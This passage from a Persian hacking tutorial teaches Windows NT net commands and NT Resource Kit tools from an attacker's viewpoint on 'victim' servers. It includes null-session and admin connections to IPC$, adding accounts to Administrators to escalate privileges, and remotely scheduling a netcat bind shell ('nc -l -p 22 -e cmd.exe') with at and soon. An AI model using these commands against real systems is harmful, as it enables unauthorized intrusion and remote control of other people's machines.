خوب بحث اينجاست که هر کدوم از اين share ها هم مي‌تونند واسه اکانت‌هاي مختلف به صورت‌هاي متفاوت مجوزدهي شوند ( درست مثل بحث NTFS که گفتم) ولي يه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار مي‌بريم ولي واسه NTFS عبارت Local Access و اينا ممکنه متفاوت باشند. مثلا فرض کنيم که درايو C واسه اکانت guest در share به صورت read ست شده باشه. ولي در همين درايو فولدر ويندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقي مي‌افته؟ در اين حالت، به صورت اشتراک به قضيه نگاه مي‌کنيم، يعني No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک مي‌گيريم ( همون چيزي که تو درس رياضيات خونديم! ) و نتيجه No Access ميشه. پس اگه يک guest از طريق share وارد درايو C بشه، اگرچه به خيلي از فولدرها دسترسي خواهد داشت ولي دسترسي اون به فولدر مربوط به ويندوز در همون درايو غيرممکن خواهد بود.


- ساير دستورات خط فرماني در ويندوز سرورها

يک سري دستورات خط‌فرماني در قسمت اول اين مجموعه درس‌ها بررسي شد. بيشتر دستورات خط‌فرماني که امروز مي‌گم، از مجموعه دستور net ويندوز هستند (يعني با عبارت net شروع مي‌شوند) و اکثرا لازم است که با اکانتي در حد Administrator باشيد که اجرا بشوند. يه مطلب ديگه اينکه وقتي مي‌گم که يه دستور به صورت لوکال هم مي‌تونه اجرا بشه، روي ويندوز NT کامپيوتر خودتون هم مي‌تونيد تست کنيد. مطلب بعدي اينکه اين دستورات کاربردهاي زيادي دارند ولي ما فقط مواردي رو بررسي مي‌کنيم که بدرد يک هکر مي‌خوره!

۱- net help :
اين دستور در واقع help دستور net است. مي‌نويسم:
net help
و جواب مي‌شنوم:
The syntax of this command is:

NET HELP command
-or-
NET command /HELP

Commands available are:

NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW

NET HELP SERVICES lists the network services you can start.
NET HELP SYNTAX explains how to read NET HELP syntax lines.
NET HELP command | MORE displays Help one screen at a time.
توضيحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگيرم، بايد بنويسم:
net help time
يا
net time /help
تا توضيحات بياد.

۲- net helpmsg :
وقتي که يک دستور net به صورتي اجرا ميشه که خطايي پيش بياد، ويندوز يک شماره خطاي ۴ رقمي به ما ميده که براي دريافت جزئيات بيشتر در مورد اين خطا بايد از دستور net helpmsg استفاده کنيم. مثلا مي‌نويسم!
net share shanguli_mangul_habbeye_angur
و جواب مياد:
This shared resource does not exist.

More help is available by typing NET HELPMSG 2310.
يک خطا رو گزارش داده و يک عدد ۴ رقمي به من داده. براي اينکه بدونم جزئيات خطا چيه، مي‌نويسم:
net helpmsg 2310
و به من ميگه که اشتباه من چه بوده است...

۳- net time :
ما از اين دستور براي فهميدن زمان روي يک سرور استفاده مي‌کنيم. اگه به صورت لوکال استفاده مي‌کنيد ( يعني اگه يک shell در سرور قرباني داريد و دستورات رو همون‌جا تايپ مي‌کنيد) بنويسيد:
net time
ولي اگه به صورت remote کار مي‌کنيد (يعني يک NetBIOS session تشکيل داده‌ايد توسط دستور net use که در درس پورت ۱۳۹ هم توضيح داده شده )، بنويسيد:
net time \\xxx.xxx.xxx.xxx
که xxx.xxx.xxx.xxx همان ip ي است که session براش داريم.

۴- net use :
اين دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شده‌است. اولين کاربرد connect يا disconnect شدن به يک کامپيوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپيوتري با ip ي xxx.xxx.xxx.xxx کانکت بشم به share ي به اسم $IPC (اين share معمولا هست، به همين دليل از اين share استفاده کردم. اگه شما روي کامپيوتر قرباني از وجود share ديگري اطلاع داريد، همون رو استفاده کنيد ) ، مي‌نويسم:
net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator"
اين کاربرد اول بود که اينو قبل از دستور net view انجام مي‌ديم. مي‌تونستيم يک null Session تشکيل بديم، به اين صورت که قسمت مربوط به username و password رو خالي بذاريم. به اين صورت:
net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:""
حالا session تشکيل شده است! کاربرد بعدي اينه که بعد از اينکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و ليست کامل share ها رو بدست آوردم، بيام و يکي از اين share ها رو استفاده کنم. مثلا اگه اسم share که ليست شده، SharedDocs باشه، و بخوام يک درايو جديد رو بهش نسبت بدم که بتونم باهاش کار کنم، مي‌نويسم:
net use * \\xxx.xxx.xxx.xxx\SharedDocs
معني کاراکتر * اينه که اگه مثلا آخرين درايو در کامپيوتر من ( با احتساب سي‌-‌دي درايو ) مثلا G باشه، درايوي که براي share استفاده مي‌شه، درايو بعدي يعني H باشه. مي‌تونستم اينطوري هم بنويسم:
net use H: \\xxx.xxx.xxx.xxx\SharedDocs
خوب حالا مي‌تونم مثل يک درايو محلي باهاش کار کنم. توي درس پورت ۱۳۹ مي‌اومديم و My Computer رو از دسکتاپ باز مي‌کرديم و با درايو جديد کار مي‌کرديم. چون ما دستورات داس رو ياد گرفته‌ايم مي‌تونيم با اين دستورات هم با اون درايو کار کنيم، مثلا بنويسيم:
H:
dir
,...
وقتي کارمون با share تموم شد، بايد disconnect کنيم، با اين دستور :
net use /delete H:
تا ارتباط قطع بشه.

۵- net view :
netbios session تشکيل داده‌ام (گاهي Null Session هم جواب ميده) و حالا مي‌خوام ببينم که چه منابعي برام share شده، مي‌نويسم:
net view \\xxx.xxx.xxx.xxx
و مثلا جواب مي‌گيرم:
Shared resources at \\xxx.xxx.xxx.xxx

Share name Type Used as Comment

------------------------------------------------
SharedDocs Disk
The command completed successfully.
مي‌بينيد که SharedDocs فولدري‌است که share شده. حالا با دستور net use مي‌تونم از share استفاده کنم.

۶- net share :
اين دستور به ما کمک مي‌کنه که share ها رو به صورت لوکال مديريت کنيم ( دستور بالايي به صورت remote استفاده مي‌شد ) . مي‌خوام ببينم که چه share هايي الان هست. مي‌نويسم:
net share
و جواب مي‌گيرم:
Share name   Resource                        Remark

-------------------------------------------------------------------------------
F$ F:\ Default share
IPC$ Remote IPC
D$ D:\ Default share
I$ I:\ Default share
G$ G:\ Default share
E$ E:\ Default share
ADMIN$ I:\WINNT Remote Admin
H$ H:\ Default share
C$ C:\ Default share
J$ J:\ Default share
The command completed successfully.
همشون پر واضح‌اند! خوب حالا مي‌خوام مثلا $C رو از ليست share ها پاک کنم. مي‌نويسم:
net share C$ /delete
اگه دوباره ليست رو بيارم، مي‌بينم که ديگه نيست. مي‌خوام دوباره همون‌ رو share کنم، مي‌نويسم:
net share C$=C:
حالا مي‌خوام مثلا فولدر C:\ali رو به اسم info بيام و share کنم، مي‌نويسم:
net share info=c:\ali
حالا اگه ليست بگيرم، مي‌بينم که وارد ليست شده.

۷- net accounts :
Account Policy رو براي اکانتي که با اون وارد شده‌ايم بيان مي‌کند. به‌صورت لوکال استفاده مي‌شود. مي‌نويسم:
net accounts
و مثلا جواب مي‌شنوم:
Force user logoff how long after time expires?:       Never
Minimum password age (days): 0
Maximum password age (days): 42
Minimum password length: 0
Length of password history maintained: None
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: SERVER
The command completed successfully.
تنها قسمتي که نياز به توضيح دارد، عبارت Lockout است. اين يک ويژگي امنيتي است. فرض کنيد که کسي مي‌خواد از طريق امتحان کردن تعداد زيادي پسورد براي يک اکانت، پسورد رو پيدا کنه ( Crack کردن ). مي‌تونيم جوري اکانت رو تنظيم کنيم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقيقه locak يا قفل بشه. اسن باعث ميشه که کار هکر کند بشه. ولي معمولا اينطوري است که اکانت Administrator جوري هست که هرگز قفل نشه ( توضيحات مفصل رو درس بعدي بخونيد ).

۸- net user :
اين دستور به ما کمک مي‌کنه که به صورت لوکال بدونيم که چه اکانت‌هايي در سيستم تعريف شده است و نيز اينکه اطلاعاتي در مورد هريک بدست بياريم و نيز اکانت جديد تعريف کنيم. اول مي‌خوام بدونم چه اکانت‌هايي تعريف شده، مي‌نويسم:
net user
و جواب مي‌شنوم:
User accounts for \\computer-name

-------------------------------------------------------------------------------
Administrator ali araz
ASPNET Guest
The command completed successfully.
خوب حالا مثلا مي‌خوام راجع به اکانت guest اطلاعاتي بگيرم، مي‌نويسم:
net user guest
و جواب مي‌گيرم:
User name                    Guest
Full Name
Comment Built-in account for guest access to the computer/domain
User's comment
Country code 000 (System Default)
Account active No
Account expires Never

Password last set 10/27/2003 2:58 AM
Password expires Never
Password changeable 10/27/2003 2:58 AM
Password required No
User may change password No

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Guests
Global Group memberships *None
The command completed successfully.
مي‌بينيد که در سطر ۲ تا مونده به آخر ( سطري Local Group Membership ) دقيقا بيان شده که اين اکانت به چه گروه‌هايي تعلق داره. دقت کنيد که به‌جاي دستور net user از دستور net users هم مي‌تونيد استفاده کنيد.
حالا مي‌خوام يک اکانت جديد اضافه بکنم. اسم اکانت مي‌خوام vahid باشه و پسورد اون yechizi مي‌نويسم:
net user vahid yechizi /add
حالا مي‌خوام همين اکانت رو پاک کنم:
net user vahid /delete
دقت کنيد که در دستور پاک کردن ديگه لزومي به وارد کردن پسورد نيست. دستور بعدي به ما ميگه که چطوري يک اکانت رو وادار کنيم که عضو يک گروه محلي شود.

۹- net localgroup :
ليست گروه‌هاي محلي تعريف شده رو بيان مي‌کنه و نيز ميشه فهميد در هر کدوم از اين گروه‌ها چه اکانت‌هايي هست ونيز ميشه به يک گروه خاص اکانتي اضافه کرد. مي‌خوام ببينم که چه گروه‌هاي محلي تعريف شده است. مي‌نويسم:
net localgroup
و جواب مي‌شنوم:
Aliases for \\Computer-name

-------------------------------------------------------------------------------
*Administrators *Backup Operators *Debugger Users
*DHCP Administrators *DHCP Users *Guests
*Power Users *Replicator *Users
The command completed successfully.
دقت کنيد که ويندوز معمولا هنگام ارائه نتايج دستورات net مياد و اول اسم هر گروه يک * قرار ميده تا با اکانت‌ها اشتباه نشه. حالا مي‌خوام ببينم که مثلا در گروه Administrators چه اکانت‌هايي هست. مي‌نويسم:
net localgroup Administrators
و جواب مي‌شنوم:
Alias name     Administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
ali
araz
The command completed successfully.
پس سه تا اکانت در حد Admin داريم. حالا مي‌خوام مثلا اکانت ali رو از ليست Admin ها خارج کنم، مي‌نويسم:
net localgroup Administrators ali /delete
و اون اکانت از گروه حذف ميشه (مي‌تونيد دوباره ليست بگيريد و ببينيد که ديگه در اين گروه نيست ). حالا مي‌خوام دوباره اکانت ali رو به اين گروه اضافه کنم، مي‌نويسم:
net localgroup Administrators ali /add
اين دستور از جمله مهم‌ترين دستوراتي است که بايد ياد بگيريد. گاهي با اکانتي وارد مي‌شويم و مي‌خواهيم که اونو به حد Admin برسونيم و روش کار همين دستور آخري‌ است ( اينکه اجازه اين‌کار رو داريم يا نه، بحثي است که بعدا مطرح مي‌شه و گفته خواهد شد که چطوري توسط يک سري exploit مشکل رو حل کنيم). وقتي اکانتي وارد گروه Admin ميشه، تمام مزاياي همچين گروهي رو يدست مياره.

۱۰- net session :
به کمک اين دستور مشخص ميشه که چه کساني الان يک session در سيستم دارند. به عبارت ديگه چه کساني به صورت remote به سيستم وارد شده‌اند. اين دستور رو تايپ کنيد:
net session
تا ليست اونا بياد. اگه مي‌خوام همه session ها رو خاتمه بدم، مي‌نويسم:
net session /delete 
اين همه session هاي مرا در کامپيوتري که درش اين دستور اجرا شده، با ساير کامپيوترها قطع مي‌کند. اگه فقط بخوام يک session رو با يه کامپيوتر خاص تموم‌ کنم، مي‌نويسم:
net session \\xxx.xxx.xxx.xxx /delete
اين در حالتي است که با اون کامپيوتر session داشته باشم. دقت کنيد که به جاي دستور net session مي‌تونيد از دستور net sessions يا net sess استفاده کنيد.

۱۱- net send :
فرض کنيد که مي‌خوام يک message به فرد خاصي که الان به سيستم وارد شده و يک session دارد بفرستم. ( اينکه فردي session دارد يا نه، به کمک دستور net session قابل بررسي است) بدين منظور از اين دستور مي‌تونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سيستم هست، پيغام Salam Refig رو بفرستم، مي‌نويسم:
net send Administrator Salam Refig
در اين حالت اون پيغام منو مي‌گيره. اگه بخوام به همه اونايي که الان session دارند، همين پيغام رو بفرستم، مي‌نويسم:
net send /users Salam Refig
و پيغام و همه مي‌گيرند. اين دستور بايد به صورت local يعني از طريق يک shell اجرا بشه.

۱۲- ساير دستورات net :
يک سري دستورات net هستند مثل net computer و net group که در شبکه‌اي از ويندوز سرورها کاربرد دارند و بعدها بررسي خواهند شد. و نيز يک سري دستور براي مديريت سرويس‌ها داريم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد مي‌گم.


- NTRK چيست؟

NTRK مخفف NT Resourse Kit است. NTRK محصولي از مايکروسافت است و به صورت يک CD جداگانه (و البته پولي) همراه نسخه‌هاي مختلف ويندوزهاي سري NT به فروش مي‌رسه و يک سري ابزارهاي خط‌فرماني و گرافيکي بسيار جالب را در اختيار قرار مي‌ده. NTRK مثل يک شمشير دولبه‌است، هم به مديران شبکه کمک مي‌کنه که کار مديريت ويندوز سرور رو راحت‌تر انجام بدهند و هم از ديدگاه هکر، NTRK پر از برنامه‌هايي است که براي هک کردن ويندوز سرور مورد نياز است. نرم‌افزارهايي که خط فرمان خود ويندوز فاقد آن است. الان که من دارم درس رو مي‌نويسم، شما مي‌تونيد از اين آدرس به تعدادي از اين ابزارها دسترسي پيدا کنيد. (البته اين گونه آدرس‌ها مدام تغيير مي‌کنند چون در واقع غيرقانوني هستند). حالا مهم‌ترين نرم‌افزارهاي اين مجموعه رو شرح مي‌دم:

الف- ابزارهاي کار با Schedule Service :

۱- sc :
به کمک اين ابزار، مي‌تونيم سرويس‌هاي خاصي رو در سرور شروع، متوقف و... کند. مهم‌ترين سرويسي که در کار با اين ابزار مدنظر داريم، schedule service است. اين سرويس به ما امکان مي‌دهد که سرور قرباني رو وادار کنيم که در زمان خاص، کار خاصي رو انجام دهد. اگه يادتون باشه وقتي با NetBIOS کار مي‌کرديم و مي‌تونستيم تروجاني رو به کامپيوتر قرباني کپي کنيم، معمولا بايد منتظر مي‌شديم که کسي پشت همون کامپيوتر روي فايل کليک کند يا در موادري خاص مي‌تونستيم کاري کنيم که موقع restart شدن کامپيوتر اون فايل اجرا بشه ولي خودمون نمي‌تونستيم اون فايل رو اجرا کنيم. به کمک schedule service مي‌تونيم مشخص کنيم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا اين دستور مي‌تواند دستوري باشد که به کمک nc يک پورت روي کامپيوتر قرباني اجرا شود ). اين حالت در مواردي کاربرد دارد که ما يک اکانت Admin روي اون کامپيوتر داريم ولي به دلايلي شلي در اختيار نيست. براي اينکه توسط ابزار sc بتونيم مثلا schedule service رو در کامپيوتر قرباني فعال کنيم (البته اگه در حال حاضر فعال نباشد )، ابتدا بايد يک session به کمک يک اکانت خاص از طريق NetBIOS برپا ! کنيم. دقت کنيد که session بايد حتما براي اکانتي در سطح اختيارات Admin برپا شود. اين کار رو همون‌طور که گفتم، به کمک دستور net use انجام مي‌ديم. حالا که session برقرار شد، در کامپيوتر خودمون مي‌نويسيم:
sc \\xxx.xxx.xxx.xxx start schedule
و جواب مي‌شنوم:
SERVICE_NAME: schedule
TYPE : 120 WIN32_SHARE_PROCESS (interactive)
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
و schedule service شروع مي‌شود. دقت کنيد که کلمه start براي شروع يک سرويس است و کلمه schedule يعني schedule service پس با اين دستور schedule service در کامپيوتر قرباني فعال مي‌شود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قرباني است. همون ip که يک session باهاش داريم.
اگر schedule service از قبل فعال بود جواب مي‌شنيدم:
[SC] StartService FAILED 1056:

An instance of the service is already running.
۲- at :
بعد از اينکه schedule service در کامپيوتر قرباني فعال شد، حالا مي‌خوام يه schedule task ( يا schedule job ) رو اجرا کنم. يعني اينکه يک دستور رو مشخص کنم که سر ساعت خاصي اجرا شود. مثلا فرض کنيد که من فايل nc رو به فولدري در آدرس c:\something کپي کرده‌ام و حالا مي‌خوام کاري کنم که پنج دقيقه ديگه، يک پورت توسط nc ايجاد بشه. اولا اينکه من قبلا يه netbios session تشکيل دادم. حالا ميام و ساعت کامپيوتر قرباني رو بدست ميارم. اين کار رو همون‌طور که گفتم، توسط دستور net time انجام مي‌دم. ملاحظه مي‌کنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپيوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقيقه ديگر (يعني سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فايل nc هم همون‌طور که گفتم مثلا در فولدر c:\something باشه، مي‌نويسم:
at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -l -p 22 -e cmd.exe"
دقت کنيد که هم sc و هم at رو از کامپيوتر خودم اجرا مي‌کنم، پس لزومي به upload اون‌ها به کامپيوتر قرباني نيست. و نيز اينکه براي اجراي اين دستورات بايد اکانت ما در حد Administrator باشد و نيز NetBIOS روي اون کامپيوتر باز باشد.
حالا مي‌خوام ببينم که آيا اين task به ليست schedule اضافه شده يا نه. مي‌نويسم:
at \\xxx.xxx.xxx.xxx
و جواب مي‌شنوم:
Status ID   Day                     Time          Command Line
-------------------------------------------------------------------------------
1 Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exe
اگه بخوام اين task رو از ليست schedule پاک کنم، مي‌نويسم:
at \\xxx.xxx.xxx.xxx 1 /delete
دليل اينکه از عدد 1 استفاده کردم، اين است که در ليستي که در بالا بدست اومد، ID براي اين task عدد 1 بود.
يک نکته در مورد sc و at اين است که اين دستورات رو ميشه جوري اجرا کرد که بجاي اينکه به صورت remote اجرا شوند، به صورت local اجرا شوند. براي اين‌کار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\\ رو حذف کنيد و نيز مسلم است که نيازي به session نخواهد بود و بايد هر دو فايل در سرور قرباني کپي شوند. اين گونه استفاده از اين دو دستور معمولا پيش نمي‌آيد. زيرا فلسفه استفاده از آنها در مواقعي است که شلي در سرور نداريم. حالا که شل نيست، چطوري دستورات مربوطه رو اجرا کنيم ؟!

۳- soon :
همان کار at رو انجام مي‌ده ولي ديگه نيازي نيست که زمان رو در سرور بدست بياريم. زيرا اين ابزار يک کار خاص رو چند ثانيه بعد براي ما انجام ميده. مثلا اگه بخوايم به صورت remote و توسط اين ابزار مثلا ۱۰ ثانيه بعد دستور nc -l -p 22 -e cmd.exe رو روي سرور قرباني اجرا کنيم، مي‌نويسيم:
soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"
همانند at ، اين دستور هم مي‌تونه به صورت لوکال اجرا بشه ( خودتون مي‌دونيد چطوري !‌ )

login کرده‌ايم.

ب- ابزارهاي کار با رجيستري ويندوز:

۴- reg :
اين ابزار براي تغيير دادن رجيستري در ويندوز به کار ميره. همون‌طور که اطلاع داريد وقتي پشت يک کامپيوتر نشسته‌ايد ( يا اينکه يک remote control گرافيکي در اختيار داريد ) مي‌تونيد با اجراي برنامه regedit ( مثلا با تايپ کردن اون در Run ويندوز ) به رجيستري ويندوز به صورت گرافيکي دسترسي داشته باشيد. ولي اگه بخواين به صورت متني رجيستري رو تغيير بديد، با ابزارهاي خود ويندوز ممکن نيست و اين باعث ميشه مجبور بشيم از ابزاري به نام reg از NTRK بهره گيريم. اينو بگم که registry ويندوز حاوي اطلاعات حساسي است. اگه دانش کافي راجع بهش نداريد، بهتره هيچ تغييري اعمال نکنيد.
reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote مي‌خواين استفاده کنيد، حتما بايد يک netbios session تشکيل بديد که در سطح دسترسي Administrator باشه. معمولا از اين ابزار براي دو منظور استفاده مي‌کنيم: اضافه کردن و پاک کردن کليد (key) و ورودي (entry). اگه بخوايم خيلي قضيه رو ساده بگيريم، کليدها مثل فولدر است و ورودي‌ها مثل فايل. مثلا اگه بخوايم در کليد HKLM\Software\MyCo\Araz يک ورودي به صورت Point=20.00 را اضافه کنيم و نيز اگه به صورت لوکال باشيم، مي‌نويسيم:
REG ADD HKLM\Software\MyCo\Araz\Point=20.00
و اگه بخوايم همين‌ کارو در کامپيوتر قرباني به صورت remote انجام بديم، مي‌نويسيم:
REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxx
حالا اکه بخوام يک همين کليد رو پاک کنم، در حالت لوکال مي‌نويسم:
REG DELETE HKLM\Software\MyCo\Araz\ /FORCE
و در حالت remote مي‌نويسم:
REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCE
تغيير دادن يک ورودي هم دقيقا مثل اضافه کردن اونه. فقط به جاي reg add از reg update استفاده مي‌کنيم.

۵- regini :
کارش مثل reg است. فقط کليدها و ورودي‌هايي که مي‌خواهيم اضافه کنيم رو در يک فايل با پسوند ini قرار مي‌ديم و اين ابزار کار مورد نظر رو انجام ميده. مثلا اگه همان کار بالايي رو بخواهيم با regini انجام بديم، يک فايل متني باز مي‌کنيم به نام مثلا Araz.ini و داخل فايل مي‌نويسيم:
HKLM\Software\MyCo\Araz
Point = REG_SZ 20.00
و بعد مي‌نويسم:
regini -m \\xxx.xxx.xxx.xxx Araz.ini
اين دستور معمولا موقعي به کار ميره که چند entry (ورودي) رو مي‌خواهيم به يک key (کليد) اضافه کنيم. در اين حالت اگه بخوايم اين کارو توسط reg انجام بديم، چند بار بايد دستور رو تکرار کنيم.

پ- ابزار تشخيص نوع ويندوز :

۶- gettype :
ابزار بسيار جالبي است که بايد به صورت لوکال روي سرور قرباني اجرا شود. با اجراي اين دستور مشخص مي‌شود که ويندوز NT قرباني، از نوع Windows Server است يا Windows Workstation و اينکه Domain Controller است يا نه و... من روي ويندوز ۲۰۰۰ خودم نوشتم:
gettype /v
و جواب شنيدم:
Windows NT [Enterprise/Terminal] Server Non-Domain Controller
ت- ابزارهاي کار با اکانت‌ها :

۷- whoami :
فرض کنيد که به طريقي يک shell در کامپيوتر قرباني بدست آورده‌ايم. حالا مي‌خواهيم ببينيم که دسترسي ما در چه حدي است ( به‌عبارت درست‌تر با چه اکانتي login شده‌ايم ). بدين منظور از اين نرم‌افزار استفاده مي کنيم. whoami بايد به صورت لوکال روي قرباني اجرا شود. يعني بايد اين فايل رو به کامپيوتر هدف ارسال کرده و همون‌جا اجرا کنيم. مي‌نويسيم:
whoami
و مثلا جواب مي‌شنويم:
[Group   1] = "Everyone"
[Group 2] = "LOCAL"
[Group 3] = "IUSR_xxxx-yyyy"
,...
در اين حالت، بالاترين اکانتي ( از نظر سطح اختيارات ) که ليست شود، اکانتي است که ما با اون بالا اومديم.

۸- local :
همون‌طور که در بالا گفتم، توسط دستور net localgroup مي‌تونيم ليستي از اکانت‌هاي مربوط به يک گروه رو بدست بياريم. ولي آن دستور بايد به صورت local اجرا مي‌شد تا جواب مي‌داد. اگه بخوايم به صورت remote همين‌کار رو انجام بديم، بايد از ابزار local.exe استفاده کنيم. مثلا اگه session مربوط به netbios رو تشکيل داده باشم و بخوام بدونم در گروه محلي Administrators چه اکانت‌هايي هست، مي‌نويسم:
local Administrators \\xxx.xxx.xxx.xxx
۹- showgrps :
ابزار بسيار خوبي است که بايد به صورت لوکال استفاده شود. مي‌شه گفت که يه‌جورايي تکميل whoami است. به کمک اين ابزار مي‌تونيم هم کشف کنيم که اکانتي که باهاش وارد شديم عضو چه گروه‌هاي محلي است ( واينکه اسم اکانت ما چيست ) و هم اينکه همين‌ اطلاعات رو راجع به هر اکانتي از سيستم‌ که بخوايم بدست بياريم.
براي اينکه بدونم اکانتي که الان باهاش بالا اومدم اسمش چيست و در چه گروه‌هايي عضو است، مي‌نويسم:
showgrps
و جواب مي‌شنوم:
User: [computer-name\Administrator], is a member of:

computer-name\Administrators
\Everyone
مشخص مي‌شه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
حالا اگه بخوام بدونم که اکانتي به اسم guest در چه گروه‌هاي محلي شرکت دارد، مي‌نويسم:
showgrps guest
و جواب مي‌شنوم:
User: [[computer-name\guest], is a member of:

\Everyone
[computer-name\Guests
وقتي مي‌خواهيم بدونيم که فلان اکانت متعلق به چه گروه‌هايي است، اين‌کار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولي اگه بخوايم بدونيم که خودمون با چه اکانتي بالا اومديم، اين‌کار با net user قابل انجام نيست.

۱۰- showmbrs :
در کاربردي که فعلا مد نظر ماست، اين ابزار همان کار دستور net localgroups رو انجام مي‌ده. يعني برخلاف ابزار local.exe ، اين ابزار بايد به صورت محلي و لوکال استفاده بشه. کاربردش هم که واضحه و مي‌گه که در فلان گروه محلي، چه اکانت‌هايي هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانت‌هايي هست ( يعني چه اکانت‌هايي دسترسي به سيستم در سطح Admin رو دارند) مي‌نويسم:
showmbrs Administrators
ث- ابزارهاي بررسي مجوزهاي NTFS:

۱۱- perms :
يک ابزار فوق‌العاده و حلال مشکلات! اول کار هم بگم که بايد به صورت لوکال استعمال بشه!! فرض کنيد که شما با يک اکانت به سيستم وارد شده‌ايد و حالا مي‌خواهيد ببينيد که اولا: آيا يک درايو خاص به صورت FAT32 پارتيشن‌بندي شده است يا NTFS ( اين نکته مهمي‌ است زيرا اگه FAT32 باشه، ديگه کار ما بسيار راحت خواهد بود چون مجوزي در کار نيست ) و ثانيا: اگه به صورت NTFS است، فلان فولدر براي فلان يوزر در چه حدي قابل دسترس است ( يعني اينکه براي فلان يوزر، فلان فولدر چه مجوزي دارد).
اولا: آيا مثلا درايو C به صورت NTFS ست شده است يا FAT32 ؟ براي اين منظور اسم يک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب مي‌کنم و حالا دستور زير رو اجرا مي‌کنم:
perms administrator c:
اگه جواب زير رو بشنوم، يعني FAT32 است:
        c:\             perms: #-------
اگر هر جواب ديگه‌اي مي‌اومد، مي‌شد: NTFS
ثانيا: فرض کنيد که حالا مثلا درايو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شده‌ام. مي‌خواهم ببينم مثلا فولدر wwwroot که در اين درايو هست، چه حد در دسترس من از نظر مجوزهاي NTFS است؟ مي‌نويسم:
perms guest d:\wwwroot
و مثلا جواب مي‌شنوم:
        d:\wwwroot\             perms: No Access
اين يعني هيچ دسترسي به اون براي اکانت guest وجود ندارد. اگه مي‌اومد:
        d:\wwwroot\             perms: #RWXDPOA
بايد عبارت RWXDPOA# تفسير بشه. هر کدام از اين حرف‌ها اين معني رو مي‌ده:
R Read
W Write
X Execute
D Delete
P Change Permissions
O Take Ownership
A General All
- No Access
* The specified user is the owner of the file or directory.
# A group the user is a member of owns the file or directory.
? The user's access permisssions can not be determined.
با اين تفاسير مي‌تونيد ببينيد که مثلا اکانت guest چه مجوزهايي داره. کافي است تک تک خروف رو با جدول بالا تطبيق بديد. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داريم ) و ...

۱۲- showacls :
اول ACL يا Access Control List قابليتي است که NTFS استفاده مي‌کند تا مجوزها رو تنظيم کند. ثانيا ACE يا Access Control Entries اظلاعاتي است که مجوز رو کنترل مي‌کنه تا اکانت‌هاي خاص فقط مجوزهاي خاص براي کار با فولدر خاصي بگيرند.
اين ابزار يه چيزي تو مايه‌هاي همون perms.exe است که گفتم ولي با اين تفاوت که وقتي يه درايو يا يک فولدر رو مشخص مي‌کنم، مي‌تونم تنظيم کنم که تمام زيرشاخه‌هاي اون رو هم از نظر مجوزها بررسي بکنه. مثلا اگه بخوام فولدر j:\wwwroot رو از نظر مجوزها براي مثلا guest چک کنم، مي‌نويسم:
showacls /s /u:guest j:\wwwroot\
کليد s/ مشخص مي‌کنه که زيرشاخه‌ها رو هم مي‌خوام تست کنم. اگه اونو حذف کنم، فقط مجوزهاي فولدر مشخص شده بيان خواهد شد. حالا اگه جواب بياد:
Error: Volume type incorrect [FAT32]
يعني که اون درايو به صورت FAT32 فرمت شده پس بررسي مجوزها محلي از اعراب نداره! ولي اگه NTFS باشه مثلا مياد:
User: [\guest]
has the following access to directory [j:\wwwroot\]:

j:\wwwroot\

j:\wwwroot

j:\wwwroot\ali
NT AUTHORITY\SYSTEM Read [RX]
Everyone Read [RX]
NT AUTHORITY\SYSTEM Read [RX]
CREATOR GROUP Read [RX]
BUILTIN\Administrators Change [RWXD]
CREATOR OWNER Change [RWXD]

,...
دقت کنيد که فولدر خيلي پر زيرشاخه رو انتخاب نکنيد که جواب‌‌ها بقدري زياد ميشه که حتي نمي‌تونيد بخونيد. براي تفسير از جدول زير استفاده کنيد:
R	GENERIC_READ
W GENERIC_WRITE
X GENERIC_EXECUTE )
D DELETE
A GENERIC_ALL
d FILE_READ_DATA (directory)
l FILE_READ_DATA (file)
s SYNCHRONIZE
r FILE_READ_DATA
w FILE_WRITE_DATA
a FILE_APPEND_DATA
rE FILE_READ_EA
